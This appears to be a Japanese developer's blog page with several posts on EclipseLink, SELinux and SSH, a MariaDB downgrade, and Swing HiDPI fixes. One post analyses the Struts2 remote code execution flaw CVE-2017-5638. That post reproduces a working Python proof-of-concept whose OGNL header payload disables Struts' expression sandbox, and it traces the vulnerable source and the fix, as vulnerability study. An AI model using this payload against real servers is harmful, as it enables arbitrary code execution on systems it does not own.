読者です 読者をやめる 読者になる 読者になる

この日記は私的なものであり所属会社の見解とは無関係です。 GitHub: takahashikzn

Memo: 関連エンティティのUPDATE/DELETE順序はID順

「同一オブジェクトの1-Nの関連先エンティティを同時更新した時、デッドロックは発生しないのか?」という点が急に気になったので調べたときのメモ。

EclipseLinkの場合、エンティティのUPDATE順序はデフォルトで「ID順」 で、その他に「オブジェクトの変更された順」「無指定」も指定できます。

Javadocによると、

The "eclipselink.persistence-context.commit-order" property defines the ordering of updates and deletes of a set of the same entity type during a commit or flush operation.

"eclipselink.persistence-context.commit-order"プロパティは、commitおよびflush時において、同一型のエンティティのうちでUPDATEとDELETEの順序を規定する。


The commit order of entities is defined by their foreign key constraints, and then sorted alphabetically.

コミット時の更新順序は、まず外部キー制約によりソートされ、次にアルファベット順によりソートされる。


By default the commit of a set of the same entity type is ordered by its Id.

デフォルトでは、同一型のエンティティはID順で処理される。

とのこと。

SSHで"No supported authentication methods available"→SELinuxが原因だった

本日、新しく鍵を作ってauthorized_keysに配置したのですが、なんかログインできないわけです。

“No supported authentication methods available”

と言われてしまう。

/var/log/secureを見てみても、

May 18 14:19:21 foobar sshd[26582]: Received disconnect from 192.168.xxx.xxx: 14: No supported authentication methods available

と書いてあるのみ。


色々調べてみた所、毎度おなじみSELinuxが原因でした。

authorized_keysのセキュリティラベルを見てみると、

$ cd /home/foo/.ssh && ls -Z

-rw-------. foo bar unconfined_u:object_r:home_root_t:s0 authorized_keys

のようになっておりました。これは本来は

-rw-------. foo bar unconfined_u:object_r:ssh_home_t:s0 authorized_keys

でなければなりません。

というわけで、

$ chcon unconfined_u:object_r:ssh_home_t:s0 authorized_keys

とやってみると、ログインできるようになりました。

そもそも何でこんなことになったかというと、横着して

  • rootで作業した
  • 他のユーザーのホームディレクトリを丸ごとコピーしてユーザーを作った

のが原因なのだろうと思います。

MariaDBをメジャーダウングレードする

mariadb-java-client-2.0.1がリリースされたので試してみた所、よくわからないエラーでテストがコケるようになりました。

特定のSelect文を打つと、こんなエラーがでることがあります。

java.sql.SQLIntegrityConstraintViolationException: (conn:50) Column 'id' in order clause is ambiguous

件のSelect文、そもそもorder by句すら含んでいないんですけど…マジでわけがわかりません。

mariadb-java-client-1.6.0でも同じエラーになるので、どうやら直近の変更が影響していそうです。


ソースの履歴を追ってみた所、どうもこの変更が怪しい。

changing default option value useServerPrepStmts to false - use text protocol by default

とはいえ、サーバサイドプリペアードステートメントを使わなかったとしても正しく動作すべきです。


MariaDB-10.2のバグ?

エラーになるSelect文をコマンドラインから直接実行してみると、なんと同じエラーになりました。 2月ぐらいにMariaDB-10.2にアップグレードしたのですが、どうやらサーバ側のバグのようですね…


というわけでMariaDB-10.1にダウングレードすることにしたのですが、単に

yum downgrade MariaDB-server

としてももちろん失敗します。

メジャーバージョン間で、データファイル(*.ibd)の互換性は保証されていません。 ドキュメントにも明確にそう書いてあります。

http://dev.mysql.com/doc/refman/5.7/en/downgrading.html


MariaDBダウングレードスクリプト

というわけでダウングレード手順はこんな感じでした。(CentOS7)

/etc/yum.repos.d/mariadb.repoを10.1に合わせた上で実行して下さい。

#!/bin/sh

# フルダンプ
mysqldump -u root --all-databases --routines --triggers \
    | gzip > /tmp/all.sql.gz
systemctl stop mysql

# yumによるダウングレードが出来ないので削除
yum -y remove MariaDB-server

# これは失敗しない
yum -y downgrade MariaDB-common MariaDB-compat MariaDB-client

# データディレクトリを作っておく
mv /var/lib/mysql /var/lib/mysql-10.2
mkdir /var/lib/mysql
chown mysql:mysql /var/lib/mysql

# SELinuxがONならこれが必要
chcon system_u:object_r:mysqld_db_t:s0 /var/lib/mysql

# インストールし直す
yum -y install MariaDB-server

# レストア
systemctl start mysql
gzip -d < /tmp/all.sql.gz | mysql -u root
systemctl restart mysql

# 接続テスト
echo 'select version()' | mysql -u root

要はフルダンプをとってrpmを入れ替えているだけです。 メジャーアップグレードも同様の手順でいけると思います。

HiDPI環境下のWindowsでSwingアプリケーションのメニューが壊れるのをどうにかする

タイトル通り。

本日、Parallelsで運用しているWindowsを「Retinaに最適」にしたところ、Swingアプリケーションのメニューが壊れました。


Parallelsの設定はこれ。

f:id:takahashikzn:20170405150828p:plain


で、これで例えばVisualVMを起動するとこうなります。

f:id:takahashikzn:20170405153444p:plain

本来、メニューが表示されるべき領域が謎の空白地帯に。

Altキーを押すと反応するので(表示は壊れたままだけど)、この空白地帯はメニューの成れの果てのようです。


このままでは話しにならないので調査した所、SwingのルックアンドフィールをWindows以外にすれば良いようです。

ご覧の通りメニューは壊れていて操作不能なので、設定ファイルを直接いじります。

アプリごとに異なるので、僕が普段使うものだけ解説。

SQL Developer

C:\Users[USER]\AppData\Roaming\SQL Developer\system4.2.0.16.260.1303\o.sqldeveloper.12.2.1.16.260.1303

のような場所にあるproduct-preference.xmlの該当箇所を編集します。

<hash n="environment-options">
   <value n="internalEncoding" v="UTF-8"/>

   <!-- Windowsルックアンドフィール以外のものを指定する -->
   <!--value n="lafClass" v="com.sun.java.swing.plaf.windows.WindowsLookAndFeel"/-->
   <value n="lafClass" v="javax.swing.plaf.metal.MetalLookAndFeel"/>
</hash>

残念ながら、SQL Developerの設定を変える毎にこの指定が初期化されてしまうようなので、毎回手で書き戻す必要があります…orz

VisualVM

VisualVMインストール先のetc/visualvm.confを編集します。

# 最後に"--laf Metal"を付ける
visualvm_default_options="-J-client -J-Xms24m -J-Xmx256m ... --laf Metal"

Astah

~/.astah/community/Jude.propertiesの以下の箇所を書き換えます。

# Metalルックアンドフィールを指定
ui.look_and_feel=javax.swing.plaf.metal.MetalLookAndFeel

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。

http://d.hatena.ne.jp/Kango/20170307/1488907259


さて、この脆弱性の動作原理を調べてみました。

ファイルアップロード時のヘッダの処理方式に問題があるようです。 前述のURLで述べられているPoCはこんな感じ。

import requests
import sys
def poc(url):
    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
    headers = {}
    headers["Content-Type"] = payload
    r = requests.get(url, headers=headers)
    print r.content
    if "105059592" in r.content:
        return True

    return False

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print "python s2-045.py target"
        sys.exit()
    if poc(sys.argv[1]):
        print "vulnerable"
    else:
        print "not vulnerable"

要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。マジかよ…orz

ここでは問題を簡単にするために、ヘッダの中身をこうします。単にIntegerのコンストラクタを呼んでいるだけ。

Content-Type: %{(#test='multipart/form-data').(new java.lang.Integer(42))}

こんなコードであろうとも、自由に任意のコードを実行できる時点でアウトです。

なお、

(#test='multipart/form-data')

の部分は、commons-fileuploadを騙しつつ正しいOGNL式にするための小細工のようです。

実装を見てみる

結論から言うと、ファイルアップロード時にContent-Typeヘッダのパースに失敗した際、 エラーメッセージの構築でcom.opensymphony.xwork2.util.LocalizedTextUtil.findTextを使用していることが原因です。


まず、Content-Typeを偽装したリクエストを送ると、commons-fileupload側でパースエラーとなります。その際、このようなエラーメッセージを生成します。

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

commons-fileuploadはStruts2の事情なんぞ知ったこっちゃないので、ヘッダの中身をそのままエラーメッセージに入れ込みます。


次に、Struts2側ではこのエラーメッセージを、ローカライズされた別のテンプレートに流し込んで整形しようとします。その時にLocalizedTextUtil.findTextを使用します。

(org.apache.struts2.interceptor.FileUploadInterceptorの264行目)

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        if (validation != null) {
            // ↓264行目
            validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
        }
    }
}

そして、LocalizedTextUtil.findTextは内部でTextParseUtil.translateVariablesを呼び出しています。

(LocalizedTextUtilの729行目)

// defaultMessage may be null
if (message != null) {
    // ↓729行目
    MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

    String msg = formatWithNullDetection(mf, args);
    result = new GetDefaultMessageReturnArg(msg, found);
}

このメソッドは、文字列中のOGNL式を逐一解釈して値に入れ替えるという一種のテンプレートエンジン的な機能を果たします。

つまり、先程の

the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#test='multipart/form-data').(new java.lang.Integer(42))}

がここまで引き渡されてきた結果、

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

の部分がOGNL式として解釈されてしまうわけです。

対応策

この脆弱性に対応したstruts-2.5.10.1がリリースされています。これに置き換えるのがベスト。

http://cwiki.apache.org/confluence/display/WW/S2-045

修正内容はこちら。

http://github.com/apache/struts/compare/STRUTS_2_5_10_1…master

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors() && validation != null) {
    TextProvider textProvider = getTextProvider(action);
    for (LocalizedMessage error : multiWrapper.getErrors()) {
        String errorMessage;
        if (textProvider.hasKey(error.getTextKey())) {
            errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
        } else {
            errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
        }
        validation.addActionError(errorMessage);
    }
}

見ての通り、LocalizedTextUtilはもう使われていないのでセーフです。

【2017-03-12追記その1】

http://boscono.hatenablog.com/entry/2017/03/12/083946

こちらで言及されている通りですがこれは誤りでした。

ちょっとちがくて、修正後のコードのtextProviderの中でLocalizedTextUtilは呼ばれているけど、デフォルトのメッセージ「struts.messages.error.uploading」を取得していて、外部からの入力を利用していないのでセーフになる。

ここで使用されるtextProviderの実装はcom.opensymphony.xwork2.TextProviderSupportであり(デフォルト設定の場合)、この中でLocalizedTextUtilは使用されていますがTextParseUtilに改ざんされた方の文字列を渡していないので水際のところでセーフ、というのが正確なところです。際どい修正だなこれ…


次善の策として、マルチパートリクエストのパーサーを入れ替えるという方法もあるようですがオススメしません。

既に述べた通り、パーサーが吐くエラーメッセージにContent-Typeヘッダの中身がそのまま入るようだと、結果として何も変わらないからです。 パーサーを入れ替えるなら、そのパーサーが安全であることを別途検証することを推奨します。

追記

ここまで書いて気が付いたのですが、すでに同様の解析を行った方がいました。

http://blog.csdn.net/u011721501/article/details/60768657 http://paper.seebug.org/241/


2017-03-12追記その2

私は仕事柄、Struts2の実装にソースコードレベルで詳しい(と自負している)ので、困っている方がいらっしゃったらコメント欄で連絡下さい。何かお手伝いできると思います。

コメントは公開しませんのでご安心を。

(2016-03-16 変更)公益性の観点から、個人・案件を特定できない範囲で公開することがあります。

(ちょっと間違ってたくせに何を偉そうな、と言われたら返す言葉はありませんけど)


2016-03-16追記

幾つか質問を頂いたので回答します。

「コメントは公開しません」と書きましたが、公開しても問題無いと思われる内容であれば、公益性の観点から公開することにしました。

回答はしますが、最終判断は自己責任でお願いします。

質問1

1点、PoCコードの「.」について教えていただきたくご連絡さしあげました。

(#test='multipart/form-data').(#dm=@ognl.Ognlxxxx

というOGNL部分なのですが、OGNLにおける「.」はクラスの階層構造を表す以外にも使い方があるのでしょうか?もしくはこのPoCも階層構造なのでしょうか?

#私はclass.classLoader.xxxxという階層構造の表現に使えることしか知りません。

並んでいるメソッドから何をしようとしているかの把握はできているつもりですが、PoCコードの解釈のされ方がどうしても分かりません。OGNLについて書いてある記事も英語も含めてもあまり無く。。

これは、SubExpressionという構文です。OGNLのリファレンスマニュアルを一部訳すと次の通りです。

If you use a parenthetical expression after a dot, the object that is current at the dot is used as the current object throughout the parenthetical expression.

For example,

headline.parent.(ensureLoaded(), name)

traverses through the headline and parent properties, ensures that the parent is loaded and then returns (or sets) the parent’s name. Top-level expressions can also be chained in this way. The result of the expression is the right-most expression element.

ensureLoaded(), name

This will call ensureLoaded() on the root object, then get the name property of the root object as the result of the expression.

 

括弧で囲まれた式がドットのあとに続く場合、ドットのターゲットオブジェクトがカレントオブジェクトとしてカッコ内の式で使用される。 例えば、

headline.parent.(ensureLoaded(), name)

はheadlineのparentへアクセスし、parentがensureLoadedであることを保証した上でparentのnameを返すという意味になる。 トップレベルの式はこのやり方でチェーンでき、評価結果は括弧の一番右の式の値である。

ensureLoaded(), name

はルートオブジェクトのensureLoaded()を実行し、そしてnameプロパティを取得してそれを式全体の評価結果として扱う。

…とまあこんな感じです。 ちなみに左辺のオブジェクトは無視してOK。カッコ内には任意の式を入れられます。よって例のPoCは

%{(#test='multipart/form-data').(new java.lang.Integer(42))}

から左辺の代入を消して

%{('multipart/form-data').(new java.lang.Integer(42))}

と簡略化できることになります。


質問2

現在ある本番システムでStruts2.2.3を利用しているのですが、本件への影響をロジカルに説明する必要があり調査しております。

そもそも2.2.3は影響範囲に入っていないのですが、本当に大丈夫なのかを処理フローやソースレベルでDeepDiveしております。 なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか何かヒントになるような情報があればご教示いただきたく。

struts-2.2.3における、今回問題になったFileUploadInterceptorの実装の箇所は次の通りです。

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

見ての通り、このバージョンではcommons-fileuploadが出力したエラーメッセージを単なる文字列として扱っており、LocalizedTextUtilは使用していません。

そのため、この範囲では件の脆弱性は存在しません。


ソースの履歴を追ってみると、このマージで脆弱性が入りこんだようです。

http://github.com/apache/struts/pull/113

このプルリクがマージされた日付は2016-11-08なので、このコードが適用されているStruts2のバージョンは2.5.8~および2.3.31のはずです。

従って、影響があると公式アナウンスされている

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

というのは間違っているように見えますが…いずれにせよ、質問いただいている「2.2.3」は問題無いバージョンと思われます。


上記は完全に誤りでした。見なかったことにして下さい…


さて、結論から言うとこのコミットが脆弱性を入れ込むことになった原因と思われます。

http://github.com/apache/struts/commit/5d68b267b5d089c8ce22e044edc7aaf532d93f02#diff-6f33d08fb91d5c321d4666523e58ae9b

この時点のStruts2は、FileUploadInterceptor内でエラーメッセージを組み立てるのではなく、JakartaMultiPartRequest内でそれを行っていました。

ソースのdiffを見ればわかりますが、上記のコミット以後にLocalizedTextUtilを使うようになったので問題があります。

また、このコミットはstruts-2.3.5から取り込まれているので、公式発表は正しいようです。


質問にあった「なぜ2.2.3(もしくは2.3.4までは大丈夫)は対象に入らないのか」ですが、

「2.2.3の時点では、FileUploadInterceptor内とJakartaMultiPartRequest内のどちらもLocalizedTextUtilを使っておらず、それ以外の箇所でもエラーメッセージをLocalizedTextUtilに渡していないのでセーフ」

が回答になると思います。該当するコードの箇所は以下の通りです。

struts-2.2.3のJakartaMultiPartRequestの抜粋:例外のメッセージを単に文字列としてListに詰めているだけ】

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        processUpload(request, saveDir);
    } catch (FileUploadException e) {
        LOG.warn("Unable to parse request", e);
        errors.add(e.getMessage());
    }
}

struts-2.2.3のFileUploadInterceptorの抜粋:エラーメッセージを単に文字列として扱っている】

MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;

if (multiWrapper.hasErrors()) {
    for (String error : multiWrapper.getErrors()) {
        if (validation != null) {
            validation.addActionError(error);
        }

        LOG.warn(error);
    }
}

struts-2.3.5のJakartaMultiPartRequestの抜粋:例外のメッセージをLocalizedTextUtilに渡しているのでアウト

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (FileUploadBase.SizeLimitExceededException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Request exceeded size limit!", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    } catch (Exception e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Unable to parse request", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}

...

protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

MariaDB-10.2.4で、カスケード削除とクエリキャッシュ絡みのバグを発見

MariaDB-10.2.4がリリースされています。これは正式リリース候補版と言うことで、早速検証してみたところ、バグを発見。


僕がぶち当たった現象とは、以下のようなものです。

  1. テーブルParentとChildには親子関係があり、Childが親を指す外部キーにはカスケード削除が設定されている
  2. Childを複数件SELECTする
  3. 2.でヒットした子レコードのうち任意のいずれかについて、親であるParentのレコードをDELETE
  4. 2.と同じSELECT文を実行すると、カスケード削除で消されるはずのChildが残っている
  5. クエリキャッシュをクリアして、再び2.と同じSELECT文を実行すると、カスケード削除で消えるはずのChildは消えている


ま、そのうち修正されると思うので、しばらく待つことにします。

ジャスミンソフト贄さん&クオリティスタート湯本さんとランチしてきた

先週の話となりますが、湯本さん経由で贄さんに連絡してもらい、ランチしてきました。

場所は銀座の過門香です。
ところで、この店は仕事でめちゃくちゃ重宝してます。ロケーションは申し分ないし、店のレベルも高い。 ぜひ皆様ご活用下さいませ。
ただし上野の過門香はおすすめできません。この店舗だけ、なぜか料理が美味しくない。

さて、僕自身、贄さんとは5年ぶりくらいの再会です。
近況報告から始まり、超高速開発業界の現況や我々の立ち位置、近い将来のあるべき姿に関する議論をしているうちに、あっという間の2時間でした。楽しかったです。

昨今、「業務をシステムに合わせて変えるべき」という考え方が広がっています。
あるべき姿を追求して自然とそうなるのなら良いですが、業務システムを作るコストが掛かりすぎるから仕方なく業務を変えるというのは絶対にダメです。

僕は、業務システムの責務はその会社の独自ノウハウ(≒業務のやり方)の効率を最大化することだと思っています。
そして超高速開発の技術を使えば、開発コストは問題では無くなる。だからとことん細かいところにまで、こだわっていい。 そうすると、業務システムの大小様々なニーズにどれほど対応できるか。これが超高速開発ツールの善し悪しを決める重要なポイントになってきます。

クラウド対応とか正直どうでもいい。お客さんにとって大事なのは中身(業務システムの機能性)であって、箱モノ(運用環境)には一切興味ありませんので。 低品質の業務システムがあったとして、それをクラウド化したら使い勝手は上がりますか?バグが消えるんですか? んなわけねーだろ。

また、いわゆる業務テンプレートが充実しているかどうかという観点は本末転倒です。そもそもテンプレート化できる業務なら既存のパッケージがある。それを買って使えば充分です。

この観点においてWagbyは、市販されている超高速開発ツール製品の中では最も完成度が高いと思います。

ちなみに言っておくと、ウチのMOD99も同レベルに到達しています。
「ホントかよ?」と思ったなら湯本さんに聞いて頂ければ懇切丁寧に説明してもらえますので、そちらへお問い合わせ下さい。(丸投げ)

外国製の製品ははっきり言ってダメです。国内の中小零細向けの業務システムには全くフィットしません。カスタマイズ性、低いです。
とある有名な外国産製品の事例発表会で

「超高速開発でプロジェクト完遂! (画面カスタマイズは一切認めないという条件付きだけど…!!)

という話を聞いたときはズッコけました。

それは一体誰のためのシステムなんですかね…?

贄さんの会社には近頃大きな動きがありました(大きな会社に買収された)。
買収によって、ジャスミンソフト自体はむしろWagbyの開発に集中できるということで、オファーをほぼ即決で受けたとのこと。
製品の進化がスピードアップするわけです。ウチも負けていられません。